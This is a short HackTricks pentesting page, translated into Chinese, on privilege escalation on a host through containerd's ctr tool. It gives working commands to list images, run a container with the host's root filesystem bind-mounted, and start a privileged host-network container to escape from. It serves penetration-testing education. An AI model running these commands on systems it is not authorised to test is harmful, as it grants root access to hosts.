Containerd (ctr) Privilege Escalation

学习并练习AWS黑客技术:HackTricks培训AWS红队专家(ARTE) 学习并练习GCP黑客技术:HackTricks培训GCP红队专家(GRTE)

支持HackTricks

基本信息

访问以下链接了解containerdctr是什么:

2375, 2376 Pentesting Docker

PE 1

如果发现主机包含ctr命令:

which ctr
/usr/bin/ctr

您可以列出图像:

ctr images ls
ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -

然后运行其中一个镜像,将主机根文件夹挂载到其中

ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash

PE 2

以特权模式运行容器并从中逃逸。 您可以这样运行特权容器:

ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

然后,您可以使用以下页面中提到的一些技术来滥用特权功能逃离容器

Docker Security

学习并实践AWS黑客技术:HackTricks培训AWS红队专家(ARTE) 学习并实践GCP黑客技术:HackTricks培训GCP红队专家(GRTE)

支持HackTricks

Last updated